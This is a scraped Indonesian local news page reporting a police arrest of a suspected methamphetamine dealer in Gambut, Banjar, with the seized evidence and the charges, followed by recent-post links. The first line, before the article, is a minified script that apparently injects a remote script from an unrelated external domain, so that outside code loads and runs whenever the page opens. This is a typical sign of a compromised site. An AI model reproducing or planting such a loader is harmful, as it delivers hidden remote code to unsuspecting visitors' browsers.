(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Martapura

Laporan dari Warga Desa yang Resah, Pengedar Sabu 56 Tahun di Gambut Ditangkap


KANALKALIMANTAN.COM, MARTAPURA – Satuan Reserse Narkoba Polres Banjar menangkap seorang lelaki paruh baya SF (56). SF diduga pelaku penyalahgunaan narkoba jenis sabu di Desa Tambak Sirang Baru, Kecamatan Gambut, Kabupaten Banjar.

Kasat Resnarkoba Polres Banjar AKP Heriadi mengatakan, penangkapan peredaran gelap narkoba tersebut dilakukan pada Jum’at (18/2/2022) sekitar pukul 18.30 Wita.

Berawal dari laporan warga Desa Tambak Sirang Baru, dari laporan warga yang dibuat resah dengan keberadaan pengedar narkoba di desa tersebut.

“Iya, benar masyarakat melaporkan. Lalu pada hari Jum’at (18/2/2022) sekitar pukul 18.30 Wita, kami berhasil mengamankan terlapor SF di rumahnya di Desa Tambak Sirang Baru,” jelas AKP Heriadi.

 

Baca juga : Delapan Paket Sabu Dalam Tas Pink, Warga Astambul Dibekuk Polisi

Bermodal dari laporan warga tersebut, Kasat Resnarkoba mengatakan, polisi langsung menindaklanjuti kebenaran informasi dengan mendatangi tempat yang ditunjuk warga sebagai tempat yang diduga sebagai kediaman pengedar barang haram tersebut.

Namun saat hendak dilakukan penangkapan, terlapor sempat membuang barang bukti ke halaman belakang rumahnya.

“Saat dilakukan penangkapan ditemukan barang bukti berupa 21 paket sabu berada di dalam satu buah dompet kecil, sempat dibuang pelaku ke belakang rumah,” kata AKP Heriadi.

Adapun barang bukti yang berhasil disita Petugas Kepolisian diantaranya, 21 paket sabu berat kotor 6,54 gram -berat bersih 2,76 gram-, satu HP merk Samsung warna hitam, satu bundel plastik klip, satu buah dompet kecil, satu buah timbangan digital, satu buah sendok terbuat dari sedotan plastik, uang tunai Rp 3.340.000, dan satu buah kaleng.

 

Baca juga : Menjaga Keberagaman, Bupati Barsel Safari Nyepi ke Desa Teluk Betung 

Atas pengungkapan tersebut, pelaku dan barang bukti diamankan ke Mapolres Banjar untuk segera dilakukan proses penyidikan lebih lanjut.

Untuk mempertanggungjawabkan atas perbuatannya, pelaku dikenakan Pasal 114 ayat (1) dan atau pasal 112 ayat (1) UU RI No. 35 Tahun 2009 tentang Narkotika dengan ancaman pidana penjara paling sedikit 6 tahun dan paling lama 20 tahun dengan denda 1 miliar. (kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Desy Arfianty

Recent Posts

Buka Musrenbang RPJD 2025 – 2045, Ini Harapan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Musrenbang… Read More

3 jam ago

Mahasiswa Prodi Gizi Belajar Penyelesaian Sengketa Medis di RSD Idaman

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 49 mahasiswa Diploma III Program Studi Gizi Poltekkes Kemenkes Banjarmasin melaksanakan… Read More

5 jam ago

Mahasiswa Minta Perbaikan Gaji Guru Honorer di Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unjuk rasa BEM se Kalimantan Selatan (Kalsel) di depan gedung DPRD Provinsi… Read More

5 jam ago

Mantan Crosser Ramaikan Pilkada Tala, H Iyan Ambil Formulir ke PPP

KANALKALIMANTAN.COM, PELAIHARI - Nama Haji Iriansyah mencuat di bursa Pemilihan Kepala Daerah (Pilkada) 2024 di… Read More

5 jam ago

Pertahankan Gelar, Kabupaten Banjar Juara Umum di MTQ XXXV Kalsel

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar kembali menoreh prestasi membanggakan, yakni menjadi Juara Umhn pada MTQ… Read More

6 jam ago

KSBSI Kapuas Dukung Erlin Hardi Cabup Kapuas 2024-2029

KANALKALIMANTAN.COM, KUALA KAPUAS - Serikat buruh yang tergabung dalam Konfederasi Serikat Buruh Seluruh Indonesia (KSBSI)… Read More

6 jam ago

This website uses cookies.